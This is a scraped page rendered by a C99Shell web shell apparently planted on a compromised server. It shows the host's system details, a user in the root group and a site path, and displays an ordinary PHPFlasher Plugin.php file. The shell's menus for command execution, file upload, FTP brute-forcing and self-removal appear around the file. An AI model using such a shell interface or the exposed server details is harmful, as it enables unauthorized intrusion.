!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/php-flasher/flasher/Plugin/   drwxr-xr-x
Free 29.17 GB of 117.98 GB (24.72%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Plugin.php (3.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the PHPFlasher package.
 * (c) Younes KHOUBZA <younes.khoubza@gmail.com>
 */

namespace Flasher\Prime\Plugin;

abstract class 
Plugin implements PluginInterface
{
    
/**
     * {@inheritdoc}
     */
    
public function getAlias()
    {
        
$alias basename(str_replace('\\''/'\get_class($this)));
        
$alias str_replace('Plugin'''$alias);
        
/** @var string $alias */
        
$alias preg_replace('/(?<=\\w)([A-Z])/''_\\1'$alias);

        return 
strtolower($alias);
    }

    
/**
     * {@inheritdoc}
     */
    
public function getName()
    {
        return 
'flasher_'.$this->getAlias();
    }

    
/**
     * {@inheritdoc}
     */
    
public function getServiceID()
    {
        return 
'flasher.'.$this->getAlias();
    }

    
/**
     * {@inheritdoc}
     */
    
public function getFactory()
    {
        return 
str_replace('Plugin''Factory'\get_class($this)); // @phpstan-ignore-line
    
}

    
/**
     * {@inheritdoc}
     */
    
public function getScripts()
    {
        return array();
    }

    
/**
     * {@inheritdoc}
     */
    
public function getStyles()
    {
        return array();
    }

    
/**
     * {@inheritdoc}
     */
    
public function getOptions()
    {
        return array();
    }

    
/**
     * @return string
     */
    
public function getAssetsDir()
    {
        
$resourcesDir $this->getResourcesDir();
        
$assetsDir rtrim($resourcesDir'/').'/assets/';

        return 
realpath($assetsDir) ?: '';
    }

    
/**
     * @return string
     */
    
public function getResourcesDir()
    {
        
$r = new \ReflectionClass($this);
        
$fileName pathinfo($r->getFileName() ?: ''PATHINFO_DIRNAME).'/Resources/';

        return 
realpath($fileName) ?: '';
    }

    
/**
     * @param array{
     *     scripts?: string|string[]|array{cdn?: string|string[], local?: string|string[]},
     *     styles?: string|string[]|array{cdn?: string|string[], local?: string|string[]},
     *     options?: array<string, mixed>,
     * } $config
     *
     * @return array{
     *  scripts: array{cdn: string[], local: string[]},
     *  styles: array{cdn: string[], local: string[]},
     *  options: array<string, mixed>,
     * }
     */
    
public function normalizeConfig(array $config)
    {
        
$config $this->processConfiguration($config);

        
$config['styles'] = $this->normalizeAssets($config['styles']);
        
$config['scripts'] = $this->normalizeAssets($config['scripts']);

        return 
$config;
    }

    
/**
     * @param array{
     *     scripts?: string|string[]|array{cdn?: string|string[], local?: string|string[]},
     *     styles?: string|string[]|array{cdn?: string|string[], local?: string|string[]},
     *     options?: array<string, mixed>,
     * } $options
     *
     * @return array{
     *    scripts: string|string[]|array{cdn?: string|string[], local?: string|string[]},
     *    styles: string|string[]|array{cdn?: string|string[], local?: string|string[]},
     *    options: array<string, mixed>,
     * }
     */
    
public function processConfiguration(array $options = array())
    {
        return 
array_merge(array(
            
'scripts' => $this->getScripts(),
            
'styles' => $this->getStyles(),
            
'options' => $this->getOptions(),
        ), 
$options);
    }

    
/**
     * @param string|array{cdn?: string|string[], local?: string|string[]} $assets
     *
     * @return array{cdn: string[], local: string[]}
     */
    
protected function normalizeAssets($assets = array())
    {
        if (
is_string($assets)) {
            
$assets = array('cdn' => $assets'local' => $assets);
        }

        
$assets array_merge(array('cdn' => null'local' => null), $assets);

        
$assets['cdn'] = (array) $assets['cdn'];
        
$assets['local'] = (array) $assets['local'];

        return 
$assets;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--